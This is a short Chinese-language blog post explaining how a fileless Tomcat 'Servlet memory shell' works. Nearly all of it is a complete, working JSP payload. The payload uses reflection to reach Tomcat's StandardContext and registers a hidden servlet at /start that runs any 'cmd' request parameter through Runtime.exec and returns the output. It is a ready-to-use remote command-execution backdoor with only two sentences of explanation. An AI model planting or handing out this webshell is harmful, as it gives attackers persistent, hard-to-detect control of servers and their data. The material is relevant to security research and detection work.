浅析Tomcat Servlet内存马原理

浅析Tomcat Servlet内存马原理

Posted by SEVENTEEN on March 22, 2022

前言

   关于Listener,Filter,Servlet在前文中已经有所了解,这次来看一下跟Filter型内存马差不多的Servlet型的jsp内存马是怎么实现的。

Tomcat Servlet内存马

   首先是通过反射获取上下文,之后创建Wrapper,将恶意的Servlet放入。 再配置ServletMap映射路由即可。

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="org.apache.catalina.Wrapper" %>


<%
    class ServletDemo implements Servlet {
        @Override
        public void init(ServletConfig config) throws ServletException {
        }

        @Override
        public String getServletInfo() {
            return null;
        }

        @Override
        public void destroy() {
        }

        public ServletConfig getServletConfig() {
            return null;
        }

        // 每次请求该servlet都会执行该方法
        @Override
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
            String cmd = servletRequest.getParameter("cmd");
            if (cmd != null) {
                Process process = Runtime.getRuntime().exec(cmd);
                BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
                StringBuilder stringBuilder = new StringBuilder();
                String line;
                while ((line = bufferedReader.readLine()) != null) {
                    stringBuilder.append(line + '\n');
                }
                servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
                servletResponse.getOutputStream().flush();
                servletResponse.getOutputStream().close();
                return;
            }
        }
    }
%>

<%
    // 反射获取context
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);

    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);

    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    ServletDemo demo = new ServletDemo();
    Wrapper demoWrapper = standardContext.createWrapper();

    // 设置Servlet名
    demoWrapper.setName("start");
    demoWrapper.setLoadOnStartup(1);
    demoWrapper.setServlet(demo);
    demoWrapper.setServletClass(demo.getClass().getName());
    standardContext.addChild(demoWrapper);

    // 设置ServletMap
    standardContext.addServletMappingDecoded("/start", "start");
    System.out.println("inject servlet success!");
%>

There Is Nothing Below

   

Turn at the next intersection.